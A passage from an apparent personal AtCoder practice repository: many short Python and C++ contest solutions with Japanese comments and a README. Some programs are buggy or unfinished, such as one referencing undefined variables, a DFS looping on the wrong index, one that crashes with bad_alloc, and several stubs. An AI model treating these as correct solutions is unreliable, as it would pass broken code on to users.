if (cnt == 2):
target += int(target_1) - 7
else:
target += int(target_1) - int(target_2)
# target_1 = '7' * cnt
# if (cnt >= 1):
# target_1 = '7' * cnt
# if (cnt == 1):
# target_2 = 0
# else:
# target_2 = '7' * (cnt - 1)
# target += int(target_1) - int(target_2)
# print(target)
if (target % K == 0):
print(cnt)
sys.exit()
else:
target = target % K
cnt += 1
i+=1
<file_sep>print('ABC') if int(input()) == 1 else print('chokudai')<file_sep>import sys
# 入力
N = int(input())
x_all = dict()
for i in range(N):
A = int(input())
for j in range(A):
x,y = map(int,input().split())
if x in x_all:
x_all[x].append(y)
else:
x_all[x] = [y]
# 全部が1の場合
roop = 0
for k,v in x_all.items():
v_set = set(v)
v_list = list(v_set)
if len(v_set) == 1 and v_list[0] == 1 :
roop += 1
if roop == N :
print(roop)
sys.exit()
# 全部が0の場合
roop = 0
for k,v in x_all.items():
v_set = set(v)
v_list = list(v_set)
if len(v_set) == 1 and v_list[0] == 0:
roop += 1
if roop == N:
print(roop-1)
sys.exit()
# 全部が[0,1]入っている場合
for k,v in x_all.items():
v_set = set(v)
if len(v_set) == 2:
roop += 1
if roop == N:
print(0)
sys.exit()
# とりあえず1しかない人をカウント
count = 0
for k,v in x_all.items():
v_set = set(v)
v_list = list(v_set)
if len(v_set) == 1 and v_list[0] == 1 :
count += 1
if count != 0:
print(count)
sys.exit()
print(x_all)
print(count)<file_sep>n = int(input())
a_list = list()
b_list = list()
for i in range(n):
a, b = map(int, input().split())
a_list.append(a)
b_list.append(b)
res = 1000000000
for i in range(n):
for j in range(n):
target = a[i] + b[i] if i == j else max(a[i], b[i])
res = min(res, target)
<file_sep>import sys
A = list()
for i in range(3):
a = list(map(int,input().split()))
A.append(a)
N = int(input())
for i in range(N):
target = int(input())
for a in range(len(A)):
for k in range(len(A[a])):
if target == A[a][k]:
A[a][k] = 0
# 縦のビンゴを調べる
for i in range(3):
if A[0][i] == 0 and A[1][i] == 0 and A[2][i] == 0:
print('Yes')
sys.exit()
# 横のビンゴを調べる
for i in range(3):
if A[i][0] == 0 and A[i][1] == 0 and A[i][2] == 0:
print('Yes')
sys.exit()
# ナナメのビンゴを調べる
if A[0][0] == 0 and A[1][1] == 0 and A[2][2] == 0:
print('Yes')
sys.exit()
if A[0][2] == 0 and A[1][1] == 0 and A[2][0] == 0:
print('Yes')
sys.exit()
print('No')
<file_sep>N = int(input())
P = list(map(int,input().split()))
min_count = P[0]
ans_count = 0
for i in range(N):
# 最小値を取得
# 多分このmin()を使うとTLE
# min_count = min(P[0:i+1])
if P[i] <= min_count:
min_count = P[i]
ans_count += 1
print(ans_count)<file_sep>number = list(map(int,input().split()))
number_set = set(number)
print('Yes') if len(number_set) == 2 else print('No')<file_sep>import string
N = str(input())
alpha = list(string.ascii_uppercase)
print(alpha.index(N)+1)
<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
ll S;
cin >> S;
ll d[S+1], mod = 1000000007;
d[0] = 1;
for (int i = 1; i <= S; ++i) {
d[i] = 0;
for (int j = 0; j <= i-3; ++j) {
d[i] += d[j];
d[i] %= mod;
}
}
cout << d[S] % mod << "\n";
return 0;
}
// 写経:https://atcoder.jp/contests/abc178/submissions/16880781
<file_sep>A,B = map(int,input().split())
if (abs(A-B)/2) % 1 != 0:
print('IMPOSSIBLE')
else:
print(int(min(A,B)+abs(A-B)/2))<file_sep>S = str(input())
if S == 'RRR':
print(3)
elif S == 'SSS':
print(0)
elif S == 'RRS' or S == 'SRR':
print(2)
else:
print(1)
<file_sep>a = int(input())
b = int(input())
if a%b != 0:
print(b-(a%b))
else:
print(0)<file_sep>N = int(input())
count = 0
for i in range(N):
x = input().split()
if x[1] == 'JPY':
count += int(x[0])
else:
count += float(x[0])*380000.0
print(count)<file_sep>def isOK(index, key, a):
if a[index] >= key:
return True
else:
return False
def binary_search(key, a, N):
ng = -1
ok = N
while abs(ok - ng) > 1:
mid = (ok + ng) // 2
if isOK(mid, key, a):
ok = mid
else:
ng = mid
return ok
N = int(input())
A = list(map(int,input().split()))
B = list(map(int,input().split()))
C = list(map(int,input().split()))
A.sort()
C.sort()
# C > B > Aの組み合わせを見つける
# C > B と B > A の組み合わせの数をカウントしてその積をたす
ans = 0
for i in range(N):
key = B[i]
A_index = binary_search(key, A, N)
C_index = binary_search(key + 1, C, N)
# print('key: ',key)
# print('A: ', A[A_index],' ',A_index)
# print('C: ', C[C_index],' ',C_index)
count_A = A_index
count_C = N - C_index
ans += count_A * abs(N-C_index)
print(ans)
<file_sep>m, n = map(int,input().split())
if n == 0:
print(1)
K = 1
while n > 1:
if n % 2 != 0:
K *= m
m = m ** 2
n = (n-1) // 2
else:
m = m ** 2
n = n // 2
print(K * m)
<file_sep>A,B,C,D = map(int,input().split())
def judge(ans):
if ans > 0:
print(ans)
else:
print(0)
if A < C :
if B < D:
judge(B-C)
else:
judge(D-C)
else:
if B > D:
judge(D-A)
else:
judge(B-A)
<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
string S,T;
cin >> S;
cin >> T;
int count = 0, ans = 100000;
for(int i = 0; i <= S.length() - T.length(); ++i) {
count = 0;
for(int j = 0; j < T.length(); ++j) {
if (S[i+j] != T[j]) {
++count;
}
}
ans = min(ans, count);
}
cout << ans << endl;
return 0;
}
<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
long long n, m, K = 1, ans;
cin >> m >> n;
if (n == 0) {
cout << 1 << endl;
return 0;
}
while (n > 1) {
if (n % 2 != 0) {
K *= m;
m = (m * m) % 1000000007;
n = (n-1) / 2;
} else {
m = (m * m) % 1000000007;
n = n / 2;
}
}
cout << K <<" : "<< m << endl;
cout << (K * m) % 1000000007 << endl;
return 0;
}
<file_sep>import sys
N,M,X,Y = map(int,input().split())
x = list(map(int,input().split()))
y = list(map(int,input().split()))
if X <= Y:
Z = list(range(X+1,Y+1))
else:
print('War')
sys.exit()
Z_x = max(x)+1
Z_y = min(y)
if Z_x <= Z_y:
Z_xy = list(range(Z_x,Z_y+1))
else:
print('War')
sys.exit()
for i in Z_xy:
if i in Z:
print('No War')
sys.exit()
print('War')
<file_sep>N = int(input())
A = list(map(int,input().split()))
count = 0
for i in range(N):
for j in range(i,N):
count += A[i] ^ A[j]
print(count % (10 ** 9 +7))<file_sep>import sys
N,M,X = map(int,input().split())
book_list = list()
for i in range(N):
book_list.append(list(map(int,input().split())))
for i in range(N):
book_list[i].append(book_list[i][0]/sum(book_list[i][1:M]))
book_list.sort(key=lambda x: x[-1])
dp = [-1 * X]*M
cost = 0
for book in book_list:
dp_dash = list(map(sum, zip(dp, book[1:M+1])))
if sum(dp_dash) > sum(dp):
dp = dp_dash
cost += book[0]
if sum(dp) > 0:
break
# print(dp_dash)
for i in dp:
if i < 0 :
print(-1)
sys.exit()
print(cost)
<file_sep>N,X = map(int,input().split())
L = list(map(int,input().split()))
D = [0]
for i in range(len(L)):
if D[i]+L[i] <= X:
D.append(D[i]+L[i])
else:
break
print(len(D))<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
string s;
int cnt=0;
rep(i, 12){
cin >> s;
if (s.find("r") != string::npos ){
++cnt;
}
}
cout << cnt <<"\n";
return 0;
}
<file_sep>S = list(input())
if len(set(S)) == 3:
print('Yes')
else:
print('No')<file_sep>'''
入力された数字をソートして、
前から2つずつの組みにして、その2つの小さい方を
足していく
'''
N = input()
Inp = list(input().split())
Inp = [int(i) for i in Inp]
Inp.sort()
ans = 0
for i in range(0,len(Inp),2) :
kushi = [int(Inp[i]),int(Inp[i+1])]
ans += min(kushi)
print(ans)<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
#define endl "\n"
int main() {
int L;
cin >> L;
ll ans = 1;
for(int i = 1; i <= 11; ++i) {
ans *= L-i;
ans /= i;
}
cout << ans << endl;
return 0;
}
<file_sep>N = int(input())
print(N*800 - int(N/15)*200)<file_sep>N = int(input())
ans = 1
for i in range(1,N+1):
if i*i <= N:
continue
else:
ans = (i-1)**2
break
print(ans)<file_sep>import sys
S = list(input())
N = len(S)
S_r = list(reversed(S))
if S == S_r:
# (N-1)/2を抜き出す
S_2 = S[:int((N-1)/2)]
S_2_r = list(reversed(S_2))
if S_2 == S_2_r:
S_3 = S[int((N+3/2)):N]
S_3_r = list(reversed(S_3))
if S_3 == S_3_r:
print('Yes')
sys.exit()
print('No')
<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
int X, N, target = 1000, ans = 1000;
cin >> X >> N;
if (N != 0) {
// vector<int> P(N);
vector<int> able(102-N);
for(int i = -1; i <= 101; i++) {
able[i+1] = i;
}
cout << endl;
sort(able.begin(), able.end());
rep(i, 103) {
cout << able[i] << " ";
}
cout << endl;
rep(i, N) {
cin >> target;
target ++;
remove(able.begin(), able.end(), target); // 入力値を消す
}
rep(i, able.size()){
cout << able[i] << " ";
}
cout << endl;
rep(i, able.size()){
if (target >= abs(N - able.at(i))) {
if (target == abs(N - able.at(i))) {
ans = min(ans, i-1);
} else {
target = abs(N - able.at(i));
ans = i-1;
}
}
}
cout << ans << endl;
} else {
cout << N << endl;
return 0;
}
return 0;
}
<file_sep>import math
N, M = map(int,input().split())
ans = 0
# 偶数、偶数
if N >= 2:
ans = math.factorial(N)/(2*math.factorial(N-2))
# N*(N-1)/N
# 奇数、奇数
if M >= 2:
ans += math.factorial(M)/(2*math.factorial(M-2))
print(int(ans))
<file_sep># tegetege_AtCoder
AtCoder 始めました.
*『日々是鍛錬』*
自分のペースですけど, 途切れない様に頑張ります.
# My Goal
|目標 |期限 |ステータス |
|---|---|:---:|
|ABCのA問題をすべて解く |2019年12月末 |完了(2019/12/31) |
2019年12月末までにABCのA問題をすべて解く
# References
[AtCoder](https://atcoder.jp/)
[AtCoder Problems](https://kenkoooo.com/atcoder/#/table//)
<file_sep>A = int(input())
B = int(input())
C = int(input())
score = [A,B,C]
score_sorted = sorted(score,reverse=True)
print(score_sorted.index(score[0])+1)
print(score_sorted.index(score[1])+1)
print(score_sorted.index(score[2])+1)<file_sep># https://atcoder.jp/contests/dp/tasks/dp_h
H, W = map(int, input().split())
A = list()
for i in range(H):
A.append(list(input()))
dp = [[0] * (W) for i in range(H)]
dp[0][0] = 1
for i in range(H):
for j in range(W):
if A[i][j] == '.':
# 横が行けるかどうか
try:
if A[i][j + 1] == '.':
dp[i][j + 1] += dp[i][j]
except IndexError:
# print('IndexError')
pass
# 縦が行けるかどうか
try:
if A[i + 1][j] == '.':
dp[i + 1][j] += dp[i][j]
except IndexError:
# print('IndexError')
pass
print(dp[-1][-1] % (10**9 + 7))
<file_sep>import sys
a = int(input())
b = int(input())
n = int(input())
while True:
if n % a == 0 and n % b == 0:
print(n)
sys.exit()
n += 1<file_sep>import sys
N,K,Q = map(int,input().split())
A_list = [int(sys.stdin.readline()) for i in range(Q)]
if K - Q > 0 :
for i in range(N):
print('Yes')
sys.exit()
else:
for i in range(N):
if K - (Q-A_list.count(i+1)) > 0:
print('Yes')
else:
print('No')<file_sep>A,B = map(int,input().split())
target = list()
target.append(A+B)
target.append(A-B)
target.append(A*B)
print(max(target))
<file_sep>import sys
rule = list(map(int,input().split()))
S = str(input())
S_list = list(S.split('-'))
for i in range(len(S_list)):
hoge_list = list(S_list[i])
if len(hoge_list) != rule[i]:
print('No')
sys.exit()
print('Yes')
<file_sep>A,op,B = map(str,input().split())
print(int(A)+int(B)) if op == '+' else print(int(A)-int(B))<file_sep>N = int(input())
H = list(map(int,input().split()))
max_count = 0
count = 0
try:
for i in range(len(H)):
if H[i] >= H[i+1]:
# print(H[i],H[i+1],count+1)
count += 1
else:
# print(H[i],H[i+1],0)
max_count = max(max_count,count)
count = 0
except:
max_count = max(max_count,count)
print(max_count)<file_sep>/*
蟻本: p.56 ~ 57
最長共通部分裂問題(Longest Common Subsequence)
*/
<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 1; i <= (int)(n); i++)
#define endl "\n"
int main() {
int H, W, s_x, s_y, g_x, g_y;
cin >> H >> W;
vector<vector<char>> a(H+2, vector<char> (W+2, '#'));
rep(i, H) {
string target;
cin >> target;
target = "#" + target + "#";
for (int j = 0; j < W+2; ++j) {
switch(target[j]) {
case 's':
a[i][j] = '.';
s_y = i;
s_x = j;
break;
case 'g':
a[i][j] = '.';
g_y = i;
g_x = j;
break;
default:
a[i][j] = target[j];
break;
}
}
}
queue<pair<int, int>> que;
que.push(make_pair(s_y, s_x));
while(!que.empty()) {
pair<int, int> now = que.front(); que.pop();
if (now.first == g_y and now.second == g_x ) {
cout << "Yes" << endl;
return 0;
}
if (a[now.first-1][now.second] != '#') { // 上
a[now.first-1][now.second] = '#';
que.push(make_pair(now.first-1, now.second));
}
if (a[now.first+1][now.second] != '#') { // 下
a[now.first+1][now.second] = '#';
que.push(make_pair(now.first+1, now.second));
}
if (a[now.first][now.second-1] != '#') { // 右
a[now.first][now.second-1] = '#';
que.push(make_pair(now.first, now.second-1));
}
if (a[now.first][now.second+1] != '#') { // 左
a[now.first][now.second+1] = '#';
que.push(make_pair(now.first, now.second+1));
}
// cout << "============" << endl;
// for (const auto& e: a) {
// for (const auto& f: e) {
// cout << f << " ";
// } cout << endl;
// }
}
cout << "No" << endl;
return 0;
}
<file_sep>A,B,C = map(int,input().split())
if A * C <= B:
print(C)
else:
print(int(B/A))<file_sep>from sys import stdin
def judge(S):
S_list = list(str(S)) #list化
i_pure = None
for i in S_list:
if i == i_pure:
return 'Bad'
i_pure = i
return 'Good'
# S = ['3776','8080','1333','0024']
S = stdin.readline()
# for s in S:
# print(judge(s))
print(judge(S))<file_sep>N = int(input())
W = list(map(int,input().split()))
# abs_list = list()
# for i in range(len(W)):
# abs_list.append(abs(sum(W[:i+1])-sum(W[i+1:])))
# print(min(abs_list))
W_sum = list()
W_sum.append(0)
for i in range(N):
W_sum.append(W_sum[i] + W[i])
ans = 100000007
for i in range(len(W_sum)):
ans = min(ans, abs((W_sum[N] - W_sum[i]) - W_sum[i]))
print(ans)
<file_sep>from datetime import datetime
target = datetime(2019,4,30)
S = str(input())
S_date = datetime.strptime(S,'%Y/%m/%d')
if S_date <= target:
print('Heisei')
else:
print('TBD')<file_sep>a,b,c = map(int,input().split())
print('YES') if b-a == c-b else print('NO')<file_sep>'''
入力されたl_iをソートして、大きい順に
K個の和を求める
'''
N,K =map(int,input().split())
Int = list(map(int,input().split()))
Int.sort(reverse=True)
length = 0
for i in range(int(K)):
length += int(Int[i])
print(length)<file_sep>N = int(input())
power = 1
for i in range(1,N+1):
power = (power * i) % (10**9+7)
print(power)<file_sep>N = int(input())
A = list(map(int,input().split()))
B = list(map(int,input().split()))
C = list(map(int,input().split()))
count = 0
pre = 0
for i in range(N):
now = A[i] - 1
count += B[now]
if i != 0 and pre == now - 1:
count += C[pre]
pre = now
print(count)
<file_sep>import sys
S = list(input())
T = str(input())
for i in range(len(S)):
mojiretsu = ''.join(S)
if T == mojiretsu :
print('Yes')
sys.exit()
else:
#リストの入れ替えを行う
target = S[-1]
S.pop(-1)
S.insert(0,target)
print('No')
<file_sep>a,b,x = map(int,input().split())
#高さ
high = x / (a*a)
low = 2*x/b
volume = a*a*b
if high * 2 <= b:
# 半分より少ない、三角形になる
pass
else:
# 半分より多く、台形になる
pass<file_sep>X,Y,Z = map(int,input().split())
print(Z,X,Y)
<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
#define endl "\n"
int main() {
ll N, W;
cin >> N >> W;
ll INF = 1e9+1;
int MAX_VALUE = 1000*100;
vector<ll> w(N), v(N), DP(MAX_VALUE+1, INF);
rep(i, N) {
cin >> w.at(i) >> v.at(i);
}
DP[0] = 0;
for(int i = 0; i < N; ++i) {
for(int j = MAX_VALUE; j >= 0; --j) {
if (j - v[i] >= 0) {
DP[j] = min(DP[j], DP[j-v[i]]+w[i]); // もらうDP
}
}
}
int ans = 0;
for(int i = 0; i < MAX_VALUE; ++i) {
if (DP[i] <= W) {
ans = max(ans, i);
}
}
cout << ans << endl;
return 0;
}
<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
string S, T, target;
cin >> S ;
cin >> T ;
target = "atcoder";
rep(i, S.size()) {
if (S[i] == '@' && T[i] == '@' || S[i] == T[i]) {
continue;
} else if (S[i] == '@' || T[i] == '@') {
if (S[i] == '@' && target.find(T[i]) != string::npos) {
continue;
} else if (T[i] == '@' && target.find(S[i]) != string::npos) {
continue;
} else {
cout << "You will lose" << endl;
exit(0);
}
} else {
cout << "You will lose" << endl;
exit(0);
}
}
// cout << target.find("a") << endl;
// cout << typeid(target.find("i")).name() << endl;
cout << "You can win" << endl;
}
<file_sep>N = int(input())
count = 0
for i in range(N+1):
if 1<=i and i<=9:
count += 1
elif 100<=i and i<=999:
count += 1
elif 10000<=i and i<=99999:
count += 1
print(count)<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
#define endl "\n"
vector<vector<char>> dfs(int x, int y, vector<vector<char>> garden, int N, int M) {
garden[x][y] = '.'; // その場所を'.'に置き換える
for(int i = -1; i <= 1; ++i) {
for(int j = -1; j <= 1; ++j) {
int next_N = x + i, next_M = y + j;
if ((0 <= next_N && next_N < N) && (0 <= next_M && next_M < M) && garden[next_N][next_M] == 'W') {
dfs(next_N, next_M, garden, N, M);
}
}
}
return garden;
}
int main() {
int N, M, res=0;
cin >> N >> M;
vector<vector <char>> garden(N, vector<char>(M, '*'));
rep(i, N) {
rep(j, M) {
cin >> garden[i][j];
}
}
rep(i, N) {
rep(j, M) {
vector<vector <char>> garden = dfs(i, j, garden, N, M);
++res;
cout << i << " : " << j << endl;
}
}
cout << res << endl;
return 0;
}
// 実行するとメモリ関係で怒られちゃう
// (base) [Arihon] (master *)$./a.out
// 10 12
// W........WW.
// .WWW.....WWW
// ....WW...WW.
// .........WW.
// .........W..
// ..W......W..
// .W.W.....WW.
// W.W.W.....W.
// .W.W......W.
// ..W.......W.
// terminate called after throwing an instance of 'std::bad_alloc'
// what(): std::bad_alloc
// Abort trap: 6
<file_sep># 再帰関数で計算
import sys
def caracal(H,count,separate_number):
if H == 1:
return count
else:
H = int(H/2)
count = count + (separate_number*2)
# 攻撃時の分離数
separate_number = separate_number * 2
return caracal(H,count,separate_number)
H = int(input())
print(caracal(H,1,1))<file_sep>n, x = map(int, input().split())
s = 0
for i in range(n):
v, p = map(int, input().split())
s += v * p
if s > x * 100:
print(i + 1)
exit()
print(-1)<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
#define endl "\n"
int main() {
// 入力
int N, inp_1, inp_2, L, P;
cin >> N;
int A[N + 1], B[N + 1];
rep(i, N) {
cin >> A[i] >> B[i];
}
cin >> L >> P;
priority_queue<int> que;
int ans = 0, pos = 0, tank = P;
for (int i = 0; i < N; ++i) {
int d = A[i] - pos; // 進む距離
// もし、次に進む距離分のガソリンがない場合、その前で給油したことにしてから移動する
while (tank - d < 0) {
if (que.empty()) {
puts("-1");
return 0;
}
tank += que.top(); que.pop();
++ans;
}
tank -= d;
pos = A[i];
que.push(B[i]);
}
cout << ans << endl;
return 0;
}
<file_sep>N , K = map(int,input().split())
h = list(map(int,input().split()))
count = 0
for i in range(N):
if h[i] >= K:
count+=1
print(count)<file_sep>N,S,T = map(int,input().split())
W = int(input())
# 1日目の体重の判定
if S <= W and W <= T:
count = 1
else:
count = 0
# 1日目以降の体重の判定
for i in range(N-1):
gap = int(input())
W += gap
if S <= W and W <= T:
count += 1
print(count) <file_sep>S = list(map(int,input()))
count_0 = S.count(0)
count_1 = len(S)-count_0
print(min(count_0,count_1)*2)<file_sep>#include <bits/stdc++.h>
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
using namespace std;
int n, m;
vector<vector<char>> grid(m, vector<char>(n));
void dfs(int i, int j) {
grid[i][j] = '.';
for(int dx = -1; i <= 1; i ++) {
for(int dy = -1; j <= 1; j++) {
int nx = i + dx;
int ny = j + dy;
if ( 0 <= nx && nx <= n-1 && 0 <= ny && ny <= m-1) {
dfs(nx, ny);
}
}
}
return;
}
int main() {
cin >> n >> m;
int input;
rep(i, n) {
grid.push_back(vector<char>());
rep(j, m) {
cin >> input;
grid[i].push_back(input);
}
}
cout << "入力完了" << endl;
int res = 0;
rep(i, n) {
rep(j, m) {
if (grid[i][j] == 'W') {
dfs(i,j);
res++;
}
}
}
cout << res << endl;
return 0;
}
<file_sep>N,D = map(int,input().split())
cnt = 0
for i in range(N):
X,Y = map(int,input().split())
if (X**2 + Y**2) <= (D**2):
cnt += 1
print(cnt)
<file_sep>N = int(input())
H = list(map(int,input().split()))
count = 0
highest = 0
for i in range(N):
if highest <= H[i]:
count += 1
highest = H[i]
print(count)<file_sep>S = list(input())
N = int(input())
target = list()
for i in range(len(S)):
for j in range(len(S)):
target.append(S[i]+S[j])
print(target[N-1])<file_sep>import random
N,B_1,B_2,B_3 = map(int,input().split())
l_list = list()
r_list = list()
ans_list = list()
#l_listを作成
for i in range(N):
line = list(map(int,input().split()))
l_list.append(line)
#r_listを作成
for i in range(N):
line = list(map(int,input().split()))
r_list.append(line)
#条件にあうリストの作成
for i in range(N):
line = list()
for j in range(N):
print(random.randint(l_list[i][j],r_list[i][j]),end=' ')
line.append(random.randint(l_list[i][j],r_list[i][j]))
ans_list.append(line)
print('\n')<file_sep>from functools import reduce
import sys
N = list(map(int,input()))
ans = 0
N_int = reduce(lambda a,b:10*a+b, N)
# 1~9の組み合わせ
if 9 <= N_int :
ans += abs(9 - N[0])
else:
ans += N
sys.exit()
# 全ての桁が同じ数での組み合わせ
# Nの一番大きい桁:N[0]
if 11 <= N_int :
ans += N[0]*(len(N)**2)
# その他の組み合わせ
for i in range(len(N)):
pass
print(ans)<file_sep>target = {25:'Christmas',24:'Christmas Eve',23:'Christmas Eve Eve',22:'Christmas Eve Eve Eve'}
print(target[int(input())])<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
int main() {
int N, W;
cin >> N >> W;
ll w[N], v[N];
for(int i = 0; i < N; i++) {
cin >> w[i] >> v[i];
}
ll INF = 1e9+1;
ll max_v = 1000 * 100;
ll dp[max_v + 1];
// dp[i]: 価値iを作れる時の重さの最小値
// 最小値を得たいので、INFをあらかじめ代入
for(int i = 0; i < max_v + 1; i++){
dp[i] = INF;
}
// dpの要素番号 = 価値
dp[0] = 0;
for(int i = 1; i <= N; i++){
for(int j = max_v; j >= 0; j--){
if(j - v[i-1] >= 0){
dp[j] = min(dp[j], dp[j-v[i-1]] + w[i-1]);
}
}
}
ll ans = 0;
for(int i = 0; i <= max_v; i++){
if(dp[i] <= W){
// dpに格納したウェイトがW以下の場合、その要素番号と
// ansのくらいを比較する
ans = max(ans, (ll)i);
}
}
cout << ans << endl;
}
<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
int H, W, C_h, C_w, D_h, D_w;
cin >> H >> W;
cin >> C_h >> C_w; // スタート
cin >> D_h >> D_w; // ゴール
--C_h; --C_w;
--D_h; --D_w;
vector<string> S(H);
// 迷路をインプット
rep(i, H) {
rep(j, W) {
cin >> S.at(i);
}
}
// 2次元配列 (D_h, D_w)までのステップ数を格納
vector<vector <int>> dist(H, vector<int>(W, -1));
// キュー
queue<pair<int, int>> que;
//初期値入力
dist[C_h][C_w] = 0;
que.push(make_pair(C_h, C_w));
// 考えているセルからの移動
int d_y[] = {1, 0, -1, 0};
int d_x[] = {0, 1, 0, -1};
// ワープ魔法で移動する
int warp_y[] = {};
int warp_x[] = {};
int count = 0;
for (int y = 0; y < 5; ++y) {
for (int x = 0; x < 5; ++x) {
warp_y[count] = -2 + y;
warp_x[count] = -2 + x;
++count;
}
}
while(!que.empty()) {
pair<int, int> now = que.front(); que.pop();
int count = 0;
for (int i = 0; i < 4; i++) {
int n_y = now.first + d_y[i];
int n_x = now.second + d_x[i];
if (0 <= n_y && n_y <= H && 0 <= n_x && n_x <= W &&
S[n_y][n_x] != '#') {
que.push(make_pair(n_y, n_x));
if (dist[n_y][n_x] == -1) {
dist[n_y][n_x] = dist[now.first][now.second];
++count;
} else {
dist[n_y][n_x] = min(dist[n_y][n_x], dist[now.first][now.second]);
}
}
}
// 魔法を使って移動できる場所を探す
if (count == 0) {
for (int i = 0; i < 25; ++i) {
int n_y = now.first + warp_y[i];
int n_x = now.second + warp_x[i];
if (0 <= n_y && n_y <= H && 0 <= n_x && n_x <= W &&
S[n_y][n_x] != '#') {
if (dist[n_y][n_x] == -1) {
que.push(make_pair(n_y, n_x));
dist[n_y][n_x] = dist[now.first][now.second] + 1;
} else {
// dist[n_y][n_x] = min(dist[n_y][n_x], dist[now.first][now.second] + 1);
if (dist[n_y][n_x] > dist[now.first][now.second] + 1) {
dist[n_y][n_x] = dist[now.first][now.second] + 1;
que.push(make_pair(n_y, n_x));
}
}
}
}
}
}
cout << dist[D_h][D_w] << endl;
return 0;
}
<file_sep>import math
A,B,N = map(int,input().split())
x = 0
# Bに対して一番余剰が大きくなる数字をとりたい
if B <= N:
x = B-1
else:
x = N
print(math.floor((A*x)/B)-A*math.floor(x/B))
<file_sep>score=0
for i in range(3):
s,e = map(int,input().split())
score += (s * e) / 10
print(int(score))<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
int N, count = 0;
cin >> N;
vector<long long> L(N);
rep(i, N){
cin >> L.at(i);
}
for(int i = 0; i < N - 2; ++i) {
for (int j = i+1; j < N - 1; ++j) {
for (int k = j+1; k < N; ++k) {
// cout << i << j << k << " : ";
vector<long long> p = {L[i], L[j], L[k]};
sort(p.begin(), p.end());
// cout << p[0] << p[1] << p[2] << endl;
auto result = unique(p.begin(), p.end());
p.erase(result, p.end());
// cout << p[0] << endl;
if (p.size() == 3) {
if (p[2] < p[0] + p[1]) {
// cout << i+1 << j+1 << k+1 << " : "<< p[0] << p[1] << p[2] << endl;
++count;
}
}
}
}
}
cout << count << endl;
return 0;
}
<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
long long N, M;
cin >> N >> M;
// 素因数分解
vector<pair<long long, long long> > ress;
for (long long i = 2; i * i <= M; ++i) {
if (M % i != 0) {
continue;
}
long long ex = 0; // 指数
while(M % i == 0) {
++ex;
M /= i;
}
// 結果をpush
ress.push_back({i, ex});
}
// 残った数字はそのままpush
if (M != 1) {
ress.push_back({M, 1});
}
long long ans = 1, right = 1;
// (N-1)!を求める
for (long long i = 0; i < (N-1); ++i) {
right *= (N-1)-i;
}
for (pair<long long, long long> res : ress) {
// cout << res.first << ":" << res.second << endl;
// 重複組み合わせ
// e個の素因数をN個に分ける
// H(N,e) = C(e+N-1,N-1)
unsigned long long left = 1;
for(long long j = 0; j < (N-1);++j ){
left *= (res.second + (N-1) - j);
}
cout << left << ":" << right << ":" << ans << endl;
ans *= left / right;
ans %= 1000000007;
}
cout << ans << endl;
return 0;
}
<file_sep># import sys
# sys.setrecursionlimit(10**5+10)
N = int(input())
def f(N):
if N < 2:
return 1
else:
return N * f(N-2)
ans = f(N)
# ans_list = list(str(ans))
# print(ans_list)
print(ans)<file_sep>from sys import stdin
class B:
def __init__(self,N,L):
self.N = int(N)
self.L = int(L)
self.taste = list()
self.taste_abs = list() #絶対値
def CollectTaste(self):
for i in range(1,self.N+1):
i = self.CulTasteFirst(i)
self.taste.append(i)
self.taste_abs.append(abs(i)) #絶対値リストの作成
#絶対値の小さい要素を削除して計算する味リストの決定
min_num = min(self.taste_abs)
try:
self.taste.remove(min_num)
except ValueError:
min_num *= -1
self.taste.remove(min_num)
ans = 0
for i in self.taste:
ans += i
print(ans)
def CulTasteFirst(self,i):
i = int(i)
return self.L+i-1
Inp = stdin.readline()
Inp = Inp.replace('\n','')
Inp = Inp.split()
do = B(Inp[0],Inp[1])
do.CollectTaste()
<file_sep>#include <bits/stdc++.h>
using namespace std;
int main() {
int N, i, cost, cost_sum = 0, max_cost = 0;
cin >> N;
for (i=0; i < N; i++) {
cin >> cost;
cost_sum += cost;
if (max_cost < cost) {
max_cost = cost;
}
// cout << endl << cost_sum << endl;
}
max_cost = max_cost / 2;
cost_sum -= max_cost;
cout << cost_sum << endl;
return 0;
}
<file_sep>"""
しゃくとり法
N個の整数を持つ昇順でソートされた配列Aが与えられた場合、
それらの合計がXに等しくなるような要素のペアが存在するかどうか
を調べる.
昇順ソートが行われていないとこれは使えない
"""
import sys
A = list(map(int,input().split()))
X = int(input())
i, j = 0, len(A)-1
while(i < j):
if (A[i] + A[j]) - X == 0:
print(True)
sys.exit()
elif (A[i] + A[j]) - X < 0:
i += 1
continue
else:
# (A[i] + A[j]) - X > 0
j -= 1
continue
print(False)
<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 1; i < (int)(n); i++)
int main() {
ll N, N_10=10, N_9=9, N_8=8, mod=1000000007, ans;
cin >> N;
rep(i, N) {
N_10 = (N_10 * 10) % mod;
N_9 = (N_9 * 9) % mod;
N_8 = (N_8 * 8) % mod;
}
